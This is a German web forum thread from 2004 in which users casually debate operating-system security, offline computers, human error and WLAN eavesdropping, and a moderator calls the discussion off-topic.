## Heiko (23 Januar 2004)

Ich sehe nicht, was die Diskussion mit Dialern zu tun hat.
Führt solche Glaubenskriege bitte an einem anderen Ort. Ich kann ja ein Forum "Glaubenskriege" einrichten.


----------



## Counselor (23 Januar 2004)

Der Genervte schrieb:
			
		

> Nicht ohne Grund sind in den USA mitlerweile (fast absolut) alle Rechner mit sensieblen Daten nur noch im offlinebetrieb und zusätzlich biometrisch gesichert (auch knackbar, lol). Bedingt durch persönliche Beziehungen ist das fakt.


Das trifft auch für das Rechenzentrum meines Arbeitsgebers zu.


> Windows aufgespielt - planmäßig abgestürzt.


Kann ich nicht bestätigen. Die meisten Probleme entstehen durch unsaubere Rollouts, defekte Hardware und Bedien- bzw Konfigurationsfehler. Bei uns werden etwa 65% der Fehler innerhalb von 10 min via Remote Control korrigiert. Bei 35% ist der On-Site-Support gefragt, der dann meist defekte Hardware tauscht.


----------



## technofreak (23 Januar 2004)

Counselor schrieb:
			
		

> Oder glaubst du im Ernst,



glauben tu ich gar nichts:  nur das 2*50 Cent ein Euro ist ...., die Diskussionen führen 
eh immer in Glaubensbekenntnisse , deswegen klinke ich mich hier aus dem Thread aus.


----------



## Counselor (23 Januar 2004)

technofreak schrieb:
			
		

> Counselor schrieb:
> 
> 
> 
> ...



Und genauso ist es auch mit LINUX. Die Entwickler kochen dort ihren Kaffee auch mit Wasser.


----------



## Der Genervte (23 Januar 2004)

Devilfrank schrieb:
			
		

> http://www.theinquirer.net/?article=13420



Das ist ja, was ich meinte: sicher ist man nur offline, egal mit welchem System.


----------



## technofreak (23 Januar 2004)

Der Genervte schrieb:
			
		

> Das ist ja, was ich meinte: sicher ist man nur offline,



Denkste, schreib mal Software im Medizinbereich (z.b Steuerung von Probenwechslern) ,
 dann lernst du erst wirklich, was der Risikofaktor Mensch bedeutet.... 

tf


----------



## Der Genervte (23 Januar 2004)

@technofreak

Klar ist der Mensch ein Sicherheitsrisiko - schaffen wir ihn ab und machen eine Vollautomation.
Allerdings, die Technik kann ja auch versagen.
Und, selbst wenn diese perfekt sein sollte - vor Quanteneffekten ist man auch nie sicher.

Ich meinte eigentlich nur den einzigen absolut sicheren Weg gegen Online-Angriffe: Stecker ziehen.


----------



## Heiko (23 Januar 2004)

Der Genervte schrieb:
			
		

> Ich meinte eigentlich nur den einzigen absolut sicheren Weg gegen Online-Angriffe: Stecker ziehen.


Richtig. Hilft uns im Rahmen eines Internet-Diskussionsforum allerdings nur bedingt weiter...


----------



## technofreak (23 Januar 2004)

Der Genervte schrieb:
			
		

> Allerdings, die Technik kann ja auch versagen.


Die  Technik ist letztendlich ja auch vom Risikofaktor  Mensch geschaffen... 


			
				Der Genervte schrieb:
			
		

> Ich meinte eigentlich nur den einzigen absolut sicheren Weg gegen Online-Angriffe: Stecker ziehen.


Da hast du (fast) Recht,  mit WLAN ergeben  sich schon wieder neue Sicherheitsdefizite ,
 der User wiegt sich in Sicherheit (völlig zu Unrecht) 
und der Hacker hört ab ...

Nur ein Singel-PC ohne jede Verbindung zur Außenwelt oder ein rein internes Netzwerk per Kabel , 
sollte sicher sein....


----------

